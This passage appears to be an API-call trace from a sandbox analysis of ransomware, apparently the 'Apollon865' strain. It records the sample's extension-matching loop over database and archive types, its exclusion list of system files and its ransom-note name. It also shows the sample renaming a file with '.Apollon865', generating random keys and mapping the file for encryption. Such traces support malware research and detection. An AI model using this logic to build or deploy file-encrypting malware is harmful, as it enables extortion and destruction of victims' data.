	[0063.110] lstrlenW (lpString="rodx") returned 4
	[0063.110] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0063.110] lstrlenW (lpString="rpd") returned 3
	[0063.110] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0063.110] lstrlenW (lpString="rsd") returned 3
	[0063.110] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0063.110] lstrlenW (lpString="sas7bdat") returned 8
	[0063.110] lstrlenW (lpString="sbf") returned 3
	[0063.110] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0063.110] lstrlenW (lpString="scx") returned 3
	[0063.110] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0063.110] lstrlenW (lpString="sdb") returned 3
	[0063.110] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0063.110] lstrlenW (lpString="sdc") returned 3
	[0063.110] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0063.110] lstrlenW (lpString="sdf") returned 3
	[0063.110] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0063.110] lstrlenW (lpString="sis") returned 3
	[0063.110] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0063.110] lstrlenW (lpString="spq") returned 3
	[0063.110] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0063.110] lstrlenW (lpString="te") returned 2
	[0063.110] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0063.110] lstrlenW (lpString="teacher") returned 7
	[0063.110] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0063.110] lstrlenW (lpString="tmd") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0063.111] lstrlenW (lpString="tps") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0063.111] lstrlenW (lpString="trc") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0063.111] lstrlenW (lpString="trc") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0063.111] lstrlenW (lpString="trm") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0063.111] lstrlenW (lpString="udb") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0063.111] lstrlenW (lpString="udl") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0063.111] lstrlenW (lpString="usr") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0063.111] lstrlenW (lpString="v12") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0063.111] lstrlenW (lpString="vis") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0063.111] lstrlenW (lpString="vpd") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0063.111] lstrlenW (lpString="vvv") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0063.111] lstrlenW (lpString="wdb") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0063.111] lstrlenW (lpString="wmdb") returned 4
	[0063.111] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0063.111] lstrlenW (lpString="wrk") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0063.111] lstrlenW (lpString="xdb") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0063.111] lstrlenW (lpString="xld") returned 3
	[0063.111] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0063.112] lstrlenW (lpString="xmlff") returned 5
	[0063.112] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0063.112] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.Apollon865") returned 135
	[0063.112] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab.apollon865"), dwFlags=0x1) returned 1
	[0063.113] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0063.113] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=4932896) returned 1
	[0063.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0063.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0063.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0063.113] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0063.114] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0063.114] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.114] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b4820, lpName=0x0) returned 0x154
	[0063.136] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0xb4820) returned 0x3480000
	[0063.661] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf5f0) returned 1
	[0063.662] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0063.662] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0063.662] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0063.662] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0063.662] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.662] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.662] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.662] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.662] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0063.662] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.662] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0063.662] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.662] UnmapViewOfFile (lpBaseAddress=0x3480000) returned 1
	[0063.674] CloseHandle (hObject=0x154) returned 1
	[0063.674] CloseHandle (hObject=0x118) returned 1
	[0063.674] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0063.674] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0063.674] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0063.683] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f3b13b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f3b13b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0063.683] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0063.683] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0063.683] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.683] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="Apollon865.txt.exe") returned 1
	[0063.683] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".") returned 1
	[0063.683] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="..") returned 1
	[0063.683] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="windows") returned -1
	[0063.683] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="bootmgr") returned 1
	[0063.683] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="temp") returned 1
	[0063.683] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="pagefile.sys") returned 1
	[0063.683] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="boot") returned 1
	[0063.683] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="ids.txt") returned 1
	[0063.683] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="ntuser.dat") returned 1
	[0063.683] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="perflogs") returned 1
	[0063.683] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="MSBuild") returned 1
	[0063.683] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0063.683] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 124
	[0063.683] lstrcpyW (in: lpString1=0x119e6f0, lpString2="vc_runtimeAdditional_x86.msi" | out: lpString1="vc_runtimeAdditional_x86.msi") returned="vc_runtimeAdditional_x86.msi"
	[0063.684] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0063.684] lstrlenW (lpString="Apollon865") returned 10
	[0063.684] lstrcmpiW (lpString1="al_x86.msi", lpString2="Apollon865") returned -1
	[0063.684] lstrlenW (lpString=".dll") returned 4
	[0063.684] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".dll") returned 1
	[0063.684] lstrlenW (lpString=".lnk") returned 4
	[0063.684] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".lnk") returned 1
	[0063.684] lstrlenW (lpString=".ini") returned 4
	[0063.684] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".ini") returned 1
	[0063.684] lstrlenW (lpString=".sys") returned 4
	[0063.684] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".sys") returned 1
	[0063.684] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0063.684] lstrlenW (lpString="bak") returned 3
	[0063.684] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0063.684] lstrlenW (lpString="ba_") returned 3
	[0063.684] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0063.684] lstrlenW (lpString="dbb") returned 3
	[0063.684] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0063.684] lstrlenW (lpString="vmdk") returned 4
	[0063.684] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0063.684] lstrlenW (lpString="rar") returned 3
	[0063.684] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0063.684] lstrlenW (lpString="zip") returned 3
	[0063.684] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0063.684] lstrlenW (lpString="tgz") returned 3
	[0063.684] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0063.684] lstrlenW (lpString="vbox") returned 4
	[0063.684] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0063.684] lstrlenW (lpString="vdi") returned 3
	[0063.684] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0063.684] lstrlenW (lpString="vhd") returned 3
	[0063.684] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0063.684] lstrlenW (lpString="vhdx") returned 4
	[0063.684] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0063.685] lstrlenW (lpString="avhd") returned 4
	[0063.685] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0063.685] lstrlenW (lpString="db") returned 2
	[0063.685] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0063.685] lstrlenW (lpString="db2") returned 3
	[0063.685] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0063.685] lstrlenW (lpString="db3") returned 3
	[0063.685] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0063.685] lstrlenW (lpString="dbf") returned 3
	[0063.685] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0063.685] lstrlenW (lpString="mdf") returned 3
	[0063.685] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0063.685] lstrlenW (lpString="mdb") returned 3
	[0063.685] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0063.685] lstrlenW (lpString="sql") returned 3
	[0063.685] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0063.685] lstrlenW (lpString="sqlite") returned 6
	[0063.685] lstrcmpiW (lpString1="86.msi", lpString2="sqlite") returned -1
	[0063.685] lstrlenW (lpString="sqlite3") returned 7
	[0063.685] lstrcmpiW (lpString1="x86.msi", lpString2="sqlite3") returned 1
	[0063.685] lstrlenW (lpString="sqlitedb") returned 8
	[0063.685] lstrcmpiW (lpString1="_x86.msi", lpString2="sqlitedb") returned -1
	[0063.685] lstrlenW (lpString="xml") returned 3
	[0063.685] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0063.685] lstrlenW (lpString="$er") returned 3
	[0063.685] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0063.685] lstrlenW (lpString="4dd") returned 3
	[0063.685] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0063.685] lstrlenW (lpString="4dl") returned 3
	[0063.685] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0063.685] lstrlenW (lpString="^^^") returned 3
	[0063.685] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0063.685] lstrlenW (lpString="abs") returned 3
	[0063.686] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0063.686] lstrlenW (lpString="abx") returned 3
	[0063.686] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0063.686] lstrlenW (lpString="accdb") returned 5
	[0063.686] lstrcmpiW (lpString1="6.msi", lpString2="accdb") returned -1
	[0063.686] lstrlenW (lpString="accdc") returned 5
	[0063.686] lstrcmpiW (lpString1="6.msi", lpString2="accdc") returned -1
	[0063.686] lstrlenW (lpString="accde") returned 5
	[0063.686] lstrcmpiW (lpString1="6.msi", lpString2="accde") returned -1
	[0063.686] lstrlenW (lpString="accdr") returned 5
	[0063.686] lstrcmpiW (lpString1="6.msi", lpString2="accdr") returned -1
	[0063.686] lstrlenW (lpString="accdt") returned 5
	[0063.686] lstrcmpiW (lpString1="6.msi", lpString2="accdt") returned -1
	[0063.686] lstrlenW (lpString="accdw") returned 5
	[0063.686] lstrcmpiW (lpString1="6.msi", lpString2="accdw") returned -1
	[0063.686] lstrlenW (lpString="accft") returned 5
	[0063.686] lstrcmpiW (lpString1="6.msi", lpString2="accft") returned -1
	[0063.686] lstrlenW (lpString="adb") returned 3
	[0063.686] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0063.686] lstrlenW (lpString="adb") returned 3
	[0063.686] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0063.686] lstrlenW (lpString="ade") returned 3
	[0063.686] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0063.686] lstrlenW (lpString="adf") returned 3
	[0063.686] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0063.686] lstrlenW (lpString="adn") returned 3
	[0063.686] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0063.686] lstrlenW (lpString="adp") returned 3
	[0063.686] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0063.686] lstrlenW (lpString="alf") returned 3
	[0063.686] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0063.686] lstrlenW (lpString="ask") returned 3
	[0063.686] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0063.686] lstrlenW (lpString="btr") returned 3
	[0063.687] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0063.687] lstrlenW (lpString="cat") returned 3
	[0063.687] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0063.687] lstrlenW (lpString="cdb") returned 3
	[0063.687] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0063.687] lstrlenW (lpString="ckp") returned 3
	[0063.687] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0063.687] lstrlenW (lpString="cma") returned 3
	[0063.687] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0063.687] lstrlenW (lpString="cpd") returned 3
	[0063.687] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0063.687] lstrlenW (lpString="dacpac") returned 6
	[0063.687] lstrcmpiW (lpString1="86.msi", lpString2="dacpac") returned -1
	[0063.687] lstrlenW (lpString="dad") returned 3
	[0063.687] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0063.687] lstrlenW (lpString="dadiagrams") returned 10
	[0063.687] lstrcmpiW (lpString1="al_x86.msi", lpString2="dadiagrams") returned -1
	[0063.687] lstrlenW (lpString="daschema") returned 8
	[0063.687] lstrcmpiW (lpString1="_x86.msi", lpString2="daschema") returned -1
	[0063.687] lstrlenW (lpString="db-journal") returned 10
	[0063.687] lstrcmpiW (lpString1="al_x86.msi", lpString2="db-journal") returned -1
	[0063.687] lstrlenW (lpString="db-shm") returned 6
	[0063.687] lstrcmpiW (lpString1="86.msi", lpString2="db-shm") returned -1
	[0063.687] lstrlenW (lpString="db-wal") returned 6
	[0063.687] lstrcmpiW (lpString1="86.msi", lpString2="db-wal") returned -1
	[0063.687] lstrlenW (lpString="dbc") returned 3
	[0063.687] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0063.687] lstrlenW (lpString="dbs") returned 3
	[0063.687] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0063.687] lstrlenW (lpString="dbt") returned 3
	[0063.687] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0063.687] lstrlenW (lpString="dbv") returned 3
	[0063.687] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0063.687] lstrlenW (lpString="dbx") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0063.688] lstrlenW (lpString="dcb") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0063.688] lstrlenW (lpString="dct") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0063.688] lstrlenW (lpString="dcx") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0063.688] lstrlenW (lpString="ddl") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0063.688] lstrlenW (lpString="dlis") returned 4
	[0063.688] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0063.688] lstrlenW (lpString="dp1") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0063.688] lstrlenW (lpString="dqy") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0063.688] lstrlenW (lpString="dsk") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0063.688] lstrlenW (lpString="dsn") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0063.688] lstrlenW (lpString="dtsx") returned 4
	[0063.688] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0063.688] lstrlenW (lpString="dxl") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0063.688] lstrlenW (lpString="eco") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0063.688] lstrlenW (lpString="ecx") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0063.688] lstrlenW (lpString="edb") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0063.688] lstrlenW (lpString="epim") returned 4
	[0063.688] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0063.688] lstrlenW (lpString="fcd") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0063.688] lstrlenW (lpString="fdb") returned 3
	[0063.688] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0063.689] lstrlenW (lpString="fic") returned 3
	[0063.689] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0063.689] lstrlenW (lpString="flexolibrary") returned 12
	[0063.689] lstrcmpiW (lpString1="onal_x86.msi", lpString2="flexolibrary") returned 1
	[0063.689] lstrlenW (lpString="fm5") returned 3
	[0063.689] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0063.689] lstrlenW (lpString="fmp") returned 3
	[0063.689] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0063.689] lstrlenW (lpString="fmp12") returned 5
	[0063.689] lstrcmpiW (lpString1="6.msi", lpString2="fmp12") returned -1
	[0063.689] lstrlenW (lpString="fmpsl") returned 5
	[0063.689] lstrcmpiW (lpString1="6.msi", lpString2="fmpsl") returned -1
	[0063.689] lstrlenW (lpString="fol") returned 3
	[0063.689] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0063.689] lstrlenW (lpString="fp3") returned 3
	[0063.689] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0063.689] lstrlenW (lpString="fp4") returned 3
	[0063.689] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0063.689] lstrlenW (lpString="fp5") returned 3
	[0063.689] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0063.689] lstrlenW (lpString="fp7") returned 3
	[0063.689] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0063.689] lstrlenW (lpString="fpt") returned 3
	[0063.689] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0063.689] lstrlenW (lpString="frm") returned 3
	[0063.689] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0063.689] lstrlenW (lpString="gdb") returned 3
	[0063.689] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0063.689] lstrlenW (lpString="gdb") returned 3
	[0063.689] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0063.689] lstrlenW (lpString="grdb") returned 4
	[0063.689] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0063.689] lstrlenW (lpString="gwi") returned 3
	[0063.689] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0063.690] lstrlenW (lpString="hdb") returned 3
	[0063.690] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0063.690] lstrlenW (lpString="his") returned 3
	[0063.690] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0063.690] lstrlenW (lpString="ib") returned 2
	[0063.690] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0063.690] lstrlenW (lpString="idb") returned 3
	[0063.690] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0063.690] lstrlenW (lpString="ihx") returned 3
	[0063.690] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0063.690] lstrlenW (lpString="itdb") returned 4
	[0063.690] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0063.690] lstrlenW (lpString="itw") returned 3
	[0063.690] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0063.690] lstrlenW (lpString="jet") returned 3
	[0063.690] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0063.690] lstrlenW (lpString="jtx") returned 3
	[0063.690] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0063.690] lstrlenW (lpString="kdb") returned 3
	[0063.690] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0063.690] lstrlenW (lpString="kexi") returned 4
	[0063.690] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0063.690] lstrlenW (lpString="kexic") returned 5
	[0063.690] lstrcmpiW (lpString1="6.msi", lpString2="kexic") returned -1
	[0063.690] lstrlenW (lpString="kexis") returned 5
	[0063.690] lstrcmpiW (lpString1="6.msi", lpString2="kexis") returned -1
	[0063.690] lstrlenW (lpString="lgc") returned 3
	[0063.690] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0063.690] lstrlenW (lpString="lwx") returned 3
	[0063.690] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0063.690] lstrlenW (lpString="maf") returned 3
	[0063.690] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0063.690] lstrlenW (lpString="maq") returned 3
	[0063.690] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0063.691] lstrlenW (lpString="mar") returned 3
	[0063.691] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0063.691] lstrlenW (lpString="marshal") returned 7
	[0063.691] lstrcmpiW (lpString1="x86.msi", lpString2="marshal") returned 1
	[0063.691] lstrlenW (lpString="mas") returned 3
	[0063.691] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0063.691] lstrlenW (lpString="mav") returned 3
	[0063.691] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0063.691] lstrlenW (lpString="maw") returned 3
	[0063.691] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0063.691] lstrlenW (lpString="mdbhtml") returned 7
	[0063.691] lstrcmpiW (lpString1="x86.msi", lpString2="mdbhtml") returned 1
	[0063.691] lstrlenW (lpString="mdn") returned 3
	[0063.691] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0063.691] lstrlenW (lpString="mdt") returned 3
	[0063.691] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0063.691] lstrlenW (lpString="mfd") returned 3
	[0063.691] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0063.691] lstrlenW (lpString="mpd") returned 3
	[0063.691] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0063.691] lstrlenW (lpString="mrg") returned 3
	[0063.691] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0063.691] lstrlenW (lpString="mud") returned 3
	[0063.691] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0063.691] lstrlenW (lpString="mwb") returned 3
